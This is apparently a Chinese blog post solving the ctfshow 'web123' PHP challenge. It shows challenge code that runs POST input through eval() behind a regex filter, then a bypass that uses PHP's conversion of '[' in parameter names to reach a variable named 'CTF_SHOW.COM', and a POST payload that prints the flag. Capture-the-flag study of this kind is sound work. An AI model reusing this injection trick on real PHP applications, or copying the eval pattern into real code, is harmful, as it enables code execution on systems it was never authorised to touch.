web123笔记(php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

看到后面有个eval()函数会执行$c,所以我们就关注$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以payload为

可以知道flag在$flag⾥,fun可以为echo $flag
然后传POST CTF_SHOW=&CTF_SHOW.COM=&c=echo $flag
但是没有回显,查询之后发现是因为变量⾥⾯有个点
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
 
posted @ 2025-03-25 16:50  justdoIT*  阅读(11)  评论(0)    收藏  举报